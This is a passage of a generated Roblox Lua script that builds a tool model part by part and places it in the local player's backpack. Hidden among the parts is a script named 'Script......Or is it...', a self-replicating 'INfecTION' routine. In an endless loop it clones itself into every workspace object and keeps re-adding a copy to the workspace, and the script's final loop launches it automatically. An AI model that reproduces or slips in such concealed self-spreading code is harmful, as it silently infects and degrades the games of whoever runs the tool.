  3801. CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3802. Part333.Parent = Tool0
  3803. Part333.Material = Enum.Material.SmoothPlastic
  3804. Part333.BrickColor = BrickColor.new("Dark stone grey")
  3805. Part333.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
  3806. Part333.Anchored = true
  3807. Part333.FormFactor = Enum.FormFactor.Custom
  3808. Part333.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3809. Part333.CFrame = CFrame.new(27.0773926, 1.63916004, 138.345764, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
  3810. Part333.BottomSurface = Enum.SurfaceType.Smooth
  3811. Part333.TopSurface = Enum.SurfaceType.Smooth
  3812. Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3813. Part333.Position = Vector3.new(27.0773926, 1.63916004, 138.345764)
  3814. Part333.Orientation = Vector3.new(-45, -90.5400009, 180)
  3815. Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3816. BlockMesh334.Parent = Part333
  3817. BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3818. BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3819. Script335.Name = "Script......Or is it..."
  3820. Script335.Parent = mas
  3821. table.insert(cors,sandbox(Script335,function()
  3822. if script.Parent.className ~= "RotateP" then
  3823. local p = Instance.new("RotateP")
  3824. p.Parent = workspace
  3825. p.Name = "INfecTION"
  3826. script.Parent = p
  3827. end
  3828.  
  3829. function check()
  3830. local list = workspace:GetChildren()
  3831. for i = 1, #list do
  3832. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3833. script.Parent:Clone().Parent = list[i]
  3834. end
  3835. wait()
  3836. end
  3837. end
  3838.  
  3839. while true do
  3840. check()
  3841. if workspace:findFirstChild("inFECtion") == nil then
  3842. local main = script.Parent:Clone()
  3843. main.Name = "inFECtion"
  3844. main.Parent = workspace
  3845. end
  3846. wait(3)
  3847. end
  3848.  
  3849. end))
  3850. Part336.Name = "AimPart"
  3851. Part336.Parent = Tool0
  3852. Part336.Material = Enum.Material.SmoothPlastic
  3853. Part336.Transparency = 1
  3854. Part336.Rotation = Vector3.new(-180, 0.539999962, -180)
  3855. Part336.Anchored = true
  3856. Part336.FormFactor = Enum.FormFactor.Custom
  3857. Part336.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3858. Part336.CFrame = CFrame.new(27.0975342, 1.63012695, 137.699341, -0.999955297, 0, 0.00939147174, 0, 1, 0, -0.00939147174, 0, -0.999955297)
  3859. Part336.BottomSurface = Enum.SurfaceType.Smooth
  3860. Part336.TopSurface = Enum.SurfaceType.Smooth
  3861. Part336.Position = Vector3.new(27.0975342, 1.63012695, 137.699341)
  3862. Part336.Orientation = Vector3.new(0, 179.459991, 0)
  3863. BlockMesh337.Parent = Part336
  3864. BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  3865. BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  3866. for i,v in pairs(mas:GetChildren()) do
  3867. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  3868. pcall(function() v:MakeJoints() end)
  3869. end
  3870. mas:Destroy()
  3871. for i,v in pairs(cors) do
  3872. spawn(function()
  3873. pcall(v)
  3874. end)
  3875. end
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